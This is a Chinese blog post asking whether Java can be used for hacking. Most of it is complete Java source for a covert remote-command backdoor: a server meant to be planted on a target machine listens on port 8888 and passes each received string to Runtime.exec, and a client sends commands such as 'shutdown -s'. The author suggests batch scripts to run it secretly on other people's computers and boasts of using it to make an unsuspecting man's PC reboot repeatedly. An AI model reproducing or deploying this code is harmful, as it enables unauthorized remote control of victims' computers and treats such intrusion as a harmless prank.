记得:Eric S. Raymond在他著名的文章《如何成为一名黑客》中,将Java列为五门黑客必备语言之一,其它四门分别是:C、C++、Perl、Python。

而Java最大的特性是系统无关性,通过JVM可以无缝应用在各种操作系统。编写出来的程序,根本不关联任何的操作系统特性,除非JNI调用C++的DLL,但这样还不如直接用DLL。到目前为止,我没有发现任何一个侵入软件,是用Java编写的。

其实,Java是可以编写数据包分析软件,或者浅层次的端口扫描软件的。今天咱们就一起来学习一个简单的程序吧!

一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。

关于135的端口说明如下:

135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。

端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

当然通过java来实现,确实有点困难,在这就不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本篇的研究范围,如有兴趣的童鞋可以自己查阅。言归正传,我们看一下java远程控制的简单实现。

远程计算机注入的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new ServerSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("连接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}

原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。

本机的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main {

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("连接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("输入命令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。

弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

注:

需要说明的是,这里能将代码简单的复制,请大家见谅。另外如果要想让该程序成功的在他人计算机上偷偷的运行,只靠java还是不行。加上一些处批命令,就可以简单的搞定。有兴趣的话,大家可以研究。小姐姐就用着段简单的代码,让一个小哥哥的电脑频繁的重启,哈哈哈!害他不知所以然,还重装了一遍系统。大家知道了不要告诉他哦!欢迎评论留言,小姐姐一一回复!

java也可以做黑客?的更多相关文章

  1. 对QT的理解——能在公司里不做Java,不做很偏门的产品,不使用偏门的语言,还有钱挣,要有感恩的心

    我的理解: QT做应用软件可以很强大,界面足够漂亮(最有意思的是QSS,让我刮目相看),应该是足够了.同时QT也提供了源码,不过超级复杂,难以理解,所以还是无法深入底层.另外它提供了一个额外的好处,就 ...

  2. java使用Map做缓存你真的用对了吗?弱引用WeakHashMap了解一下

    目录 关于缓存我们应该考虑什么?-intsmaze WeakHashMap弱引用-intsmaze 线程安全问题-intsmaze Collections-intsmaze ThreadLocal-i ...

  3. 不愿看到Java开发者再做的10件事

    William F. Buckley.Jr 曾经说过,“保守主义者是那些逆着历史潮流不断喊停的人,其他人都不愿意这么做或者对他们这么做显得没有耐性”.虽然我对此了解不多,但是每次看到有Java开发人员 ...

  4. JAVA编程“性能说”(java编程需要做的26件事)

    转载于 http://www.csdn.net/article/2012-06-01/2806249 最近的机器内存又爆满了,除了新增机器内存外,还应该好好review一下我们的代码,有很多代码编写过 ...

  5. 小tips:用java模拟小球做抛物线运动

    这几天刚刚学习了java线程,然后跟着书做了几个关于线程的练习,其中有一个练习题是小球动起来.这个相信很简单,只要运用线程就轻松能够实现.然后看到了它的一个课后思考题,怎样让小球做个抛物线运动,这点我 ...

  6. java中用swing做一个windows计算器

    目录 主函数 普通计数器 科学计算器 注意: @(java中用swing做一个windows计算器) 前言: 来看这篇教程估计都是java课程设计吧,现在已经没有公司很少使用swing组件了,java ...

  7. Java面试大纲-java面试该做哪些准备,java开发达到这样的水平可以涨工资

    Java培训结束,面临的就是毕业找工作.在找工作时,就要针对性地做充分的面试准备.准备不充分的面试,完全是浪费时间,更是对自己的不负责. 上海尚学堂Java培训整理出Java面试大纲,其中大部分都是面 ...

  8. 摘抄-----java codeReview要做的事

    整洁的代码 清单项目 分类 使用可以表达实际意图(Intention-Revealing)的名称 有意义的名称 每一个概念只用一个词 有意义的名称 使用方案/问题领域名称 有意义的名称 类应该是比较小 ...

  9. 在Java程序中做字符串拼接时一定要记得的MessageFormat.format

    Java里从来少不了字符串拼接的活,Java程序员也肯定用到过StringBuffer,StringBuilder,以及被编译器优化掉的+=.但这些都和下文要谈的无关. 比如有这样的字符串: 张三将去 ...

随机推荐

  1. windows 远程连接“发生身份验证错误 要求的函数不受支持”

    Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\P ...

  2. oracle in和exist的区别 not in 和not exist的区别

    in 是把外表和内表作hash join,而exists是对外表作loop,每次loop再对内表进行查询.一般大家都认为exists比in语句的效率要高,这种说法其实是不准确的,这个是要区分环境的. ...

  3. FortiGate防火墙500D下PC至外网丢包

    1.现状: 如图,防火墙堆叠,500D共4个出口方向,联通.电信.FQ.运维专线 2.现象: 到网关和防火墙上.下联口不丢包,到网联通和运维专线方向丢包4%左右,电信和FQ方向不丢包 3.分析 采用从 ...

  4. 巧克力分配问题——C语言

    某品牌巧克力使用500克原料可制作55小块巧克力,请编程实现:输入原料重量(以千克为单位),计算出制作巧克力的块数(四舍五入).然后对这些巧克力进行分包,小盒放11块,大盒放24块,问各分装多少大盒多 ...

  5. js 原型链与继承

    var A = function(){ this.name="xiaoming"; } A.prototype.age=9; var a = new A(); console.lo ...

  6. 大型互联网 b2b b2c o2o 电子商务微服务云平台

    鸿鹄云商大型企业分布式互联网电子商务平台,推出PC+微信+APP+云服务的云商平台系统,其中包括B2B.B2C.C2C.O2O.新零售.直播电商等子平台. 分布式.微服务.云架构电子商务平台 java ...

  7. 【mysql】decimal数据类型

    1.float.double.decimal float:浮点型,4字节,32bit. double:双精度实型,8字节,64位 decimal:数字型,128bit,不存在精度损失,常用于银行帐目计 ...

  8. [C#]SmtpClient发送邮件

    这几天开发的从数据库抓起数据处理完已邮件发出来,只实现的To的个人的发送,To的群组,CC的个人和群组,BCC的个人和群组都没有成功.试了好久,感觉是Exchange服务器配置的问题,但又无法访问Ex ...

  9. Maven学习 五 Maven项目创建(1)jar项目

    第一步:Maven项目的创建 File->new->Maven project. 点击下一步 上方的两个多选框选上,第一个是不使用archetype 原型模板,第二个是使用默认工作空间 点 ...

  10. ABP框架系列之四十八:(Specifications-规范)

    Introduction Specification pattern is a particular software design pattern, whereby business rules c ...